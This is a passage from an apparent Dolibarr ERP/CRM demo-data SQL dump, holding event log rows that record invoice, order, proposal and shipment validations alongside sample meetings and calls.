admin',32,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(219,'219',NULL,1,'2015-11-07 01:16:51','2015-11-07 01:16:51',40,'AC_COMPANY_CREATE','Third party created','2015-11-07 01:16:51','2021-04-15 10:22:55',1,NULL,NULL,33,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Third party created\nAuthor: admin',33,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(220,'220',NULL,1,'2016-03-02 17:24:04','2016-03-02 17:24:04',40,'AC_BILL_VALIDATE','Invoice FA1302-0022 validated','2016-03-02 17:24:04','2021-04-15 10:22:55',1,NULL,NULL,18,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1302-0022 validated\nAuthor: admin',157,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(221,'221',NULL,1,'2016-03-02 17:24:28','2016-03-02 17:24:28',40,'AC_BILL_VALIDATE','Invoice FA1303-0020 validated','2016-03-02 17:24:28','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1303-0020 validated\nAuthor: admin',211,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(222,'222',NULL,1,'2016-03-05 10:00:00','2016-03-05 10:00:00',5,NULL,'RDV John','2016-03-02 19:54:48','2021-04-15 10:22:55',1,1,NULL,NULL,NULL,0,1,0,NULL,0,0,-1,NULL,NULL,NULL,'gfdgdfgdf',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(223,'223',NULL,1,'2016-03-13 10:00:00','2016-03-17 00:00:00',50,NULL,'Congress','2016-03-02 19:55:11','2021-04-15 10:22:55',1,NULL,NULL,NULL,NULL,0,1,0,NULL,0,0,-1,'',309600,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(224,'224',NULL,1,'2016-03-14 10:00:00',NULL,1,NULL,'Call john','2016-03-02 19:55:56','2021-04-15 10:22:55',1,NULL,NULL,NULL,NULL,0,1,0,NULL,0,0,0,'',NULL,NULL,'tttt',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(225,'225',NULL,1,'2016-03-02 20:11:31','2016-03-02 20:11:31',40,'AC_BILL_UNVALIDATE','Invoice FA1303-0020 go back to draft status','2016-03-02 20:11:31','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1303-0020 go back to draft status\nAuthor: admin',211,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(226,'226',NULL,1,'2016-03-02 20:13:39','2016-03-02 20:13:39',40,'AC_BILL_VALIDATE','Invoice FA1303-0020 validated','2016-03-02 20:13:39','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1303-0020 validated\nAuthor: admin',211,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(227,'227',NULL,1,'2016-03-03 19:20:10','2016-03-03 19:20:10',40,'AC_BILL_VALIDATE','Invoice FA1212-0023 validated','2016-03-03 19:20:10','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1212-0023 validated\nAuthor: admin',33,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(228,'228',NULL,1,'2016-03-03 19:20:25','2016-03-03 19:20:25',40,'AC_BILL_CANCEL','Invoice FA1212-0023 canceled in Dolibarr','2016-03-03 19:20:25','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice FA1212-0023 canceled in Dolibarr\nAuthor: admin',33,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(229,'229',NULL,1,'2016-03-03 19:20:56','2016-03-03 19:20:56',40,'AC_BILL_VALIDATE','Invoice AV1403-0003 validated','2016-03-03 19:20:56','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice AV1403-0003 validated\nAuthor: admin',212,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(230,'230',NULL,1,'2016-03-03 19:21:29','2016-03-03 19:21:29',40,'AC_BILL_UNVALIDATE','Invoice AV1403-0003 go back to draft status','2016-03-03 19:21:29','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice AV1403-0003 go back to draft status\nAuthor: admin',212,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(231,'231',NULL,1,'2016-03-03 19:22:16','2016-03-03 19:22:16',40,'AC_BILL_VALIDATE','Invoice AV1303-0003 validated','2016-03-03 19:22:16','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,1,0,0,-1,'',NULL,NULL,'Invoice AV1303-0003 validated\nAuthor: admin',213,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(232,'232',NULL,1,'2018-01-22 18:54:39','2018-01-22 18:54:39',40,'AC_OTH_AUTO','Invoice 16 validated','2018-01-22 18:54:39','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Invoice 16 validated\nAuthor: admin',16,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(233,'233',NULL,1,'2018-01-22 18:54:46','2018-01-22 18:54:46',40,'AC_OTH_AUTO','Invoice 16 validated','2018-01-22 18:54:46','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Invoice 16 validated\nAuthor: admin',16,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(234,'234',NULL,1,'2018-07-05 10:00:00','2018-07-05 11:19:00',5,'AC_RDV','Meeting with my boss','2018-07-31 18:19:48','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,1,NULL,0,0,-1,'',4740,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(235,'235',NULL,1,'2018-07-13 00:00:00','2018-07-14 23:59:59',50,'AC_OTH','Trip at Las Vegas','2018-07-31 18:20:36','2021-04-15 10:22:55',12,NULL,4,NULL,2,0,12,1,NULL,0,1,-1,'',172799,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(236,'236',NULL,1,'2018-07-29 10:00:00',NULL,4,'AC_EMAIL','Remind to send an email','2018-07-31 18:21:04','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,4,0,NULL,0,0,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(237,'237',NULL,1,'2018-07-01 10:00:00',NULL,1,'AC_TEL','Phone call with Mr Vaalen','2018-07-31 18:22:04','2021-04-15 10:22:55',12,NULL,6,4,NULL,0,13,0,NULL,0,0,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(238,'238',NULL,1,'2018-08-02 10:00:00','2018-08-02 12:00:00',5,'AC_RDV','Meeting on radium','2018-08-01 01:15:50','2021-04-15 10:22:55',12,NULL,8,10,10,0,12,1,NULL,0,0,-1,'',7200,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(239,'239',NULL,1,'2017-01-29 21:49:33','2017-01-29 21:49:33',40,'AC_OTH_AUTO','Proposal PR1302-0007 validated','2017-01-29 21:49:33','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1302-0007 validated\nAuthor: admin',7,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(240,'240',NULL,1,'2017-01-31 20:52:00',NULL,1,'AC_TEL','Call the boss','2017-01-31 20:52:10','2021-04-15 10:22:55',12,12,6,NULL,NULL,0,12,1,NULL,0,0,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(242,'242',NULL,1,'2017-02-01 18:52:04','2017-02-01 18:52:04',40,'AC_OTH_AUTO','Order CF1007-0001 validated','2017-02-01 18:52:04','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CF1007-0001 validated\nAuthor: admin',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(243,'243',NULL,1,'2017-02-01 18:52:04','2017-02-01 18:52:04',40,'AC_OTH_AUTO','Order CF1007-0001 approved','2017-02-01 18:52:04','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CF1007-0001 approved\nAuthor: admin',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(245,'245',NULL,1,'2017-02-01 18:52:32','2017-02-01 18:52:32',40,'AC_OTH_AUTO','Supplier order CF1007-0001 submited','2017-02-01 18:52:32','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Supplier order CF1007-0001 submited\nAuthor: admin',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(249,'249',NULL,1,'2017-02-01 18:54:01','2017-02-01 18:54:01',40,'AC_OTH_AUTO','Supplier order CF1007-0001 received','2017-02-01 18:54:01','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Supplier order CF1007-0001 received \nAuthor: admin',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(250,'250',NULL,1,'2017-02-01 18:54:42','2017-02-01 18:54:42',40,'AC_OTH_AUTO','Email sent by MyBigCompany To mycustomer@example.com','2017-02-01 18:54:42','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Sender: MyBigCompany <myemail@mybigcompany.com>
\nReceiver(s): mycustomer@example.com
\nEMail topic: Submission of order CF1007-0001
\nEmail body:
\nYou will find here our order CF1007-0001
\r\n
\r\nSincerely
\n
\nAttached files and documents: CF1007-0001.pdf',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(251,'251',NULL,1,'2017-02-01 19:02:21','2017-02-01 19:02:21',40,'AC_OTH_AUTO','Invoice SI1702-0001 validated','2017-02-01 19:02:21','2021-04-15 10:22:55',12,NULL,5,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Invoice SI1702-0001 validated\nAuthor: admin',20,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(252,'252',NULL,1,'2017-02-12 23:17:04','2017-02-12 23:17:04',40,'AC_OTH_AUTO','Patient créé','2017-02-12 23:17:04','2021-04-15 10:22:55',12,NULL,NULL,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Patient créé\nAuthor: admin',26,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(253,'253',NULL,1,'2017-02-12 23:18:33','2017-02-12 23:18:33',40,'AC_OTH_AUTO','Consultation 2 recorded (aaa)','2017-02-12 23:18:33','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Consultation 2 recorded (aaa)\nAuthor: admin',2,'cabinetmed_cons',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(254,'254',NULL,1,'2017-02-15 23:28:41','2017-02-15 23:28:41',40,'AC_OTH_AUTO','Order CO7001-0005 validated','2017-02-15 23:28:41','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0005 validated\nAuthor: admin',7,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(255,'255',NULL,1,'2017-02-15 23:28:56','2017-02-15 23:28:56',40,'AC_OTH_AUTO','Order CO7001-0006 validated','2017-02-15 23:28:56','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0006 validated\nAuthor: admin',8,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(256,'256',NULL,1,'2017-02-15 23:34:33','2017-02-15 23:34:33',40,'AC_OTH_AUTO','Order CO7001-0007 validated','2017-02-15 23:34:33','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0007 validated\nAuthor: admin',9,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(257,'257',NULL,1,'2017-02-15 23:35:03','2017-02-15 23:35:03',40,'AC_OTH_AUTO','Order CO7001-0008 validated','2017-02-15 23:35:03','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0008 validated\nAuthor: admin',10,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(263,'263',NULL,1,'2017-02-15 23:50:34','2017-02-15 23:50:34',40,'AC_OTH_AUTO','Order CO7001-0005 validated','2017-02-15 23:50:34','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0005 validated\nAuthor: admin',17,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(264,'264',NULL,1,'2017-02-15 23:51:23','2017-02-15 23:51:23',40,'AC_OTH_AUTO','Order CO7001-0006 validated','2017-02-15 23:51:23','2021-04-15 10:22:55',12,NULL,NULL,7,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0006 validated\nAuthor: admin',18,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(265,'265',NULL,1,'2017-02-15 23:54:51','2017-02-15 23:54:51',40,'AC_OTH_AUTO','Order CO7001-0007 validated','2017-02-15 23:54:51','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0007 validated\nAuthor: admin',19,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(266,'266',NULL,1,'2017-02-15 23:55:52','2017-02-15 23:55:52',40,'AC_OTH_AUTO','Order CO7001-0007 validated','2017-02-15 23:55:52','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0007 validated\nAuthor: admin',20,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(267,'267',NULL,1,'2017-02-16 00:03:44','2017-02-16 00:03:44',40,'AC_OTH_AUTO','Order CO7001-0008 validated','2017-02-16 00:03:44','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0008 validated\nAuthor: admin',29,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(268,'268',NULL,1,'2017-02-16 00:05:01','2017-02-16 00:05:01',40,'AC_OTH_AUTO','Order CO7001-0009 validated','2017-02-16 00:05:01','2021-04-15 10:22:55',12,NULL,NULL,11,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0009 validated\nAuthor: admin',34,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(269,'269',NULL,1,'2017-02-16 00:05:01','2017-02-16 00:05:01',40,'AC_OTH_AUTO','Order CO7001-0010 validated','2017-02-16 00:05:01','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0010 validated\nAuthor: admin',38,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(270,'270',NULL,1,'2017-02-16 00:05:11','2017-02-16 00:05:11',40,'AC_OTH_AUTO','Order CO7001-0011 validated','2017-02-16 00:05:11','2021-04-15 10:22:55',12,NULL,NULL,11,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0011 validated\nAuthor: admin',40,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(271,'271',NULL,1,'2017-02-16 00:05:11','2017-02-16 00:05:11',40,'AC_OTH_AUTO','Order CO7001-0012 validated','2017-02-16 00:05:11','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0012 validated\nAuthor: admin',43,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(272,'272',NULL,1,'2017-02-16 00:05:11','2017-02-16 00:05:11',40,'AC_OTH_AUTO','Order CO7001-0013 validated','2017-02-16 00:05:11','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0013 validated\nAuthor: admin',47,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(273,'273',NULL,1,'2017-02-16 00:05:11','2017-02-16 00:05:11',40,'AC_OTH_AUTO','Order CO7001-0014 validated','2017-02-16 00:05:11','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0014 validated\nAuthor: admin',48,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(274,'274',NULL,1,'2017-02-16 00:05:26','2017-02-16 00:05:26',40,'AC_OTH_AUTO','Order CO7001-0015 validated','2017-02-16 00:05:26','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0015 validated\nAuthor: admin',50,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(275,'275',NULL,1,'2017-02-16 00:05:26','2017-02-16 00:05:26',40,'AC_OTH_AUTO','Order CO7001-0016 validated','2017-02-16 00:05:26','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0016 validated\nAuthor: admin',54,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(277,'277',NULL,1,'2017-02-16 00:05:35','2017-02-16 00:05:35',40,'AC_OTH_AUTO','Order CO7001-0018 validated','2017-02-16 00:05:35','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0018 validated\nAuthor: admin',62,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(278,'278',NULL,1,'2017-02-16 00:05:35','2017-02-16 00:05:35',40,'AC_OTH_AUTO','Order CO7001-0019 validated','2017-02-16 00:05:35','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0019 validated\nAuthor: admin',68,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(279,'279',NULL,1,'2017-02-16 00:05:36','2017-02-16 00:05:36',40,'AC_OTH_AUTO','Order CO7001-0020 validated','2017-02-16 00:05:36','2021-04-15 10:22:55',12,NULL,NULL,6,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0020 validated\nAuthor: admin',72,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(281,'281',NULL,1,'2017-02-16 00:05:37','2017-02-16 00:05:37',40,'AC_OTH_AUTO','Order CO7001-0022 validated','2017-02-16 00:05:37','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0022 validated\nAuthor: admin',78,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(282,'282',NULL,1,'2017-02-16 00:05:38','2017-02-16 00:05:38',40,'AC_OTH_AUTO','Order CO7001-0023 validated','2017-02-16 00:05:38','2021-04-15 10:22:55',12,NULL,NULL,11,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0023 validated\nAuthor: admin',81,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(283,'283',NULL,1,'2017-02-16 00:05:38','2017-02-16 00:05:38',40,'AC_OTH_AUTO','Order CO7001-0024 validated','2017-02-16 00:05:38','2021-04-15 10:22:55',12,NULL,NULL,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0024 validated\nAuthor: admin',83,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(284,'284',NULL,1,'2017-02-16 00:05:38','2017-02-16 00:05:38',40,'AC_OTH_AUTO','Order CO7001-0025 validated','2017-02-16 00:05:38','2021-04-15 10:22:55',12,NULL,NULL,2,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0025 validated\nAuthor: admin',84,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(285,'285',NULL,1,'2017-02-16 00:05:38','2017-02-16 00:05:38',40,'AC_OTH_AUTO','Order CO7001-0026 validated','2017-02-16 00:05:38','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0026 validated\nAuthor: admin',85,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(286,'286',NULL,1,'2017-02-16 00:05:38','2017-02-16 00:05:38',40,'AC_OTH_AUTO','Order CO7001-0027 validated','2017-02-16 00:05:38','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Order CO7001-0027 validated\nAuthor: admin',88,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(287,'287',NULL,1,'2017-02-16 03:05:56','2017-02-16 03:05:56',40,'AC_OTH_AUTO','Commande CO7001-0016 classée Livrée','2017-02-16 03:05:56','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Commande CO7001-0016 classée Livrée\nAuteur: admin',54,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(288,'288',NULL,1,'2017-02-16 03:06:01','2017-02-16 03:06:01',40,'AC_OTH_AUTO','Commande CO7001-0016 classée Facturée','2017-02-16 03:06:01','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Commande CO7001-0016 classée Facturée\nAuteur: admin',54,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(294,'294',NULL,1,'2017-02-16 03:53:04','2017-02-16 03:53:04',40,'AC_OTH_AUTO','Commande CO7001-0021 validée','2017-02-16 03:53:04','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Commande CO7001-0021 validée\nAuteur: admin',75,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(295,'295',NULL,1,'2017-02-16 03:58:08','2017-02-16 03:58:08',40,'AC_OTH_AUTO','Expédition SH1702-0002 validée','2017-02-16 03:58:08','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Expédition SH1702-0002 validée\nAuteur: admin',3,'shipping',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(296,'296',NULL,1,'2017-02-16 04:12:29','2017-02-16 04:12:29',40,'AC_OTH_AUTO','Commande CO7001-0021 validée','2017-02-16 04:12:29','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Commande CO7001-0021 validée\nAuteur: admin',75,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(297,'297',NULL,1,'2017-02-16 04:14:20','2017-02-16 04:14:20',40,'AC_OTH_AUTO','Commande CO7001-0021 validée','2017-02-16 04:14:20','2021-04-15 10:22:55',12,NULL,NULL,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Commande CO7001-0021 validée\nAuteur: admin',75,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(298,'298',NULL,1,'2017-02-16 01:44:58','2017-02-16 01:44:58',40,'AC_OTH_AUTO','Proposal PR1702-0009 validated','2017-02-16 01:44:58','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0009 validated\nAuthor: aeinstein',11,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(299,'299',NULL,1,'2017-02-16 01:45:44','2017-02-16 01:45:44',40,'AC_OTH_AUTO','Proposal PR1702-0010 validated','2017-02-16 01:45:44','2021-04-15 